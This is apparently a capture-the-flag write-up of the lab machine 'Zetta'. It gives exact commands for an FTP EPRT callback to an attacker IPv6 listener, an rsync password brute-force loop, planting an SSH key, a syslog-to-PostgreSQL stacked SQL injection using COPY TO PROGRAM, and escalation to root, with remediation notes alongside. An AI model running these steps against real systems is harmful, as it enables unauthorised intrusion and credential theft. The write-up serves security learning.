Zetta
Summary
I visited the target's public web page and found the FTP username and password printed in plain sight. Using those credentials to log into Pure-FTPd, an obscure FTP protocol command (EPRT) tricked the server into connecting back to my IPv6 listener, revealing the server's own private IPv6 address: one invisible to the public internet. Scanning that IPv6 address uncovered a hidden rsync file-synchronisation service.
A short dictionary attack against the rsync module succeeded with the password, and because the module permitted writes, I planted an SSH public key directly into the local user roy's home directory and logged in. Roy's membership in the system administrator group gave read access to a sensitive configuration git repository, whose history exposed a SQL injection flaw in the server's log-forwarding pipeline: any message written to the local7 syslog facility was inserted into PostgreSQL without sanitisation. A crafted log message containing a stacked SQL query forced the database process to copy its own command history, including the postgres account's password, to a world-readable file.
The password followed a predictable 'secret@username' scheme, making the root password mechanically derivable. A single 'su root' command completed full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD5="<the-password-you-recovered>"
export TOKEN="<the-token-you-captured>"
export HEX_ID="<a-value-you-captured-earlier>"Attack path: how the box was taken
Exact commands 3
Identify open services and banners.
$ nmap -Pn -sV -p 21,22,80 --script=ftp-anon,ftp-syst,http-title $TARGETExtract the 32-char FTP credential token from the page.
$ curl -s http://$TARGET/ | grep -Eo '[A-Za-z0-9]{32}' | sort -uLog in with username '$TOKEN' and the same value as password to confirm access.
$ ftp $TARGETFixRemove credentials from all publicly accessible web contentCritical
Exact commands 2
Start an IPv6 listener on my machine to catch the FTP callback (run in background).
$ nc -6 -lvnp 4444Replace <ATTACKER_IPV6> with your tun0 IPv6 address. The server's data-channel TCP SYN will reveal $TARGET as its source.
$ python3 -c "
import socket, ftplib
ftp = ftplib.FTP()
ftp.connect('$TARGET', 21)
ftp.login('$TOKEN', '$TOKEN')
ftp.sendcmd('EPRT |2|<ATTACKER_IPV6>|4444|')
ftp.sendcmd('LIST')
"FixApply firewall rules to IPv6 interfaces equivalent to those on IPv4High
Exact commands 3
Full TCP port scan over IPv6 to find services invisible on IPv4.
$ nmap -6 -sT -Pn -n -p- --min-rate 2000 $TARGETConfirm the rsync daemon and its protocol version.
$ printf '@RSYNCD: 31.0\n' | nc -6 -w5 $TARGET 8730List rsync modules; reveals home_roy.
$ rsync -6 rsync://[$TARGET]:8730/Exact commands 4
Filter rockyou.txt to exactly 8-character entries matching the observed secrets-file size.
$ grep -E '^.{8}$' /usr/share/wordlists/rockyou.txt > /tmp/8char.txtLoop until rsync exits 0; found password is '$PASSWORD5'.
$ while read -r w; do export RSYNC_PASSWORD="$w"; rsync -6 -q rsync://roy@[$TARGET]:8730/home_roy/ &>/dev/null && echo "FOUND: $w" && break; done < /tmp/8char.txtGenerate a fresh key pair for the foothold.
$ ssh-keygen -t ed25519 -N '' -f /tmp/zetta_roy_ed25519Push the public key into roy's authorized_keys via the writable module.
$ export RSYNC_PASSWORD=$PASSWORD5; rsync -6 /tmp/zetta_roy_ed25519.pub rsync://roy@[$TARGET]:8730/home_roy/.ssh/authorized_keysFixReplace the weak rsync module password and remove write accessHigh
Exact commands 2
Log in as roy using the planted key.
$ ssh -6 -i /tmp/zetta_roy_ed25519 -o StrictHostKeyChecking=no roy@$TARGETConfirm shell context; user -> <user.txt>
$ id && cat ~/user.txt
uid=1000(roy) gid=1000(roy) groups=1000(roy),4(adm),24(cdrom)Exact commands 3
List commits in the rsyslog configuration repository.
$ GIT_DIR=/etc/rsyslog.d/.git git log --onelineInspect the diff that introduced the ompgsql module and vulnerable INSERT template.
$ GIT_DIR=/etc/rsyslog.d/.git git show $HEX_IDRead the live configuration to confirm the active SQL template and target database.
$ cat /etc/rsyslog.d/pgsql.confFixParameterise the rsyslog SQL template and restrict the PostgreSQL role's privilegesCritical
Exact commands 2
Inject a stacked query through the local7 facility. Adjust quote balancing to match the exact INSERT template in pgsql.conf. Dollar-quoting ($$) bypasses shell and SQL escape conflicts.
$ logger -p local7.info "'); SELECT 1; COPY (SELECT '') TO PROGRAM $$cp /var/lib/postgresql/.psql_history /tmp/pg_hist && chmod 644 /tmp/pg_hist$$; --"Read the exfiltrated psql history; contains the postgres password $PASSWORD.
$ cat /tmp/pg_histExact commands 3
Read roy's task list for context about the password scheme.
$ cat ~/.tudu.xmlSupply password $PASSWORD2 when prompted. Derived by substituting @postgres with @root in the recovered credential.
$ su - rootConfirm root context -> <root.txt>
$ id && cat /root/root.txt
uid=0(root)FixEliminate predictable password patterns shared across accountsCritical
Attack patterns used
The transferable techniques behind this compromise.
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic: bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 21/tcp | ftp? |
| 22/tcp | ssh OpenSSH 7.9p1 Debian 10 (protocol 2.0) |
| 80/tcp | http nginx |